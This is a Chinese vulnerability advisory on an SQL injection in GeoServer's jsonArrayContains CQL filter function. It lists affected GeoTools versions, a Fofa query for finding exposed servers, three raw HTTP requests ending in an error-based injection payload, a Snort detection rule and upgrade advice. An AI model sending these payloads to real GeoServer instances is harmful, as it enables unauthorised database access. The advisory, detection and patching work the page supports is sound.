GeoServer-jsonArrayContains-sql注入¶
GeoServer-jsonArrayContains-sql注入漏洞
影响版本¶
| 产品 | 存在漏洞的版本 |
|---|---|
| GeoServer 3.3.X（GeoTools 35.X） | GeoTools < 35.1 |
| GeoServer 2.28.X（GeoTools 34.X） | GeoTools < 34.5 |
| GeoServer 2.27.X（GeoTools 33.X） | GeoTools < 33.6 |
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
Fofa: title="geoserver" || app="geoserver"
POC/EXP：
step1 WFS 获取能力接口，获取全部 Feature 图层名称列表
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
step2 提取csv数据表字段名
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=Emodnetbio:mediseh_posidonia_historical_pnt&maxFeatures=1&outputFormat=csv HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
step3 poc 报错注入
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=Emodnetbio:mediseh_posidonia_historical_pnt&CQL_FILTER=jsonArrayContains%28%22id%22%2C%27%2Fa%27%2C%27x%27%27%27%29+%3D+true HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
sonrt规则：
alert tcp any any -> $HOME_NET any (
msg:"GeoServer - jsonArrayContains SQL注入漏洞 (CQL_FILTER参数)";
flow:to_server,established;
http.method; content:"GET";
http.uri; content:"/geoserver/ows"; fast_pattern;
http.uri; content:"CQL_FILTER="; nocase;
http.uri; pcre:"/CQL_FILTER\s*=\s*[^&]*jsonArrayContains\s*\([^)]*'[^']*'[^)]*\)/i";
metadata:
service http,
affected_product "GeoServer",
vulnerability_type "SQL Injection (CQL_FILTER)",
severity "critical";
classtype:web-application-attack;
sid:1000733;
rev:1;
priority:1;
)
漏洞修复¶
关闭互联网暴露面或接口设置访问权限，升级至安全版本。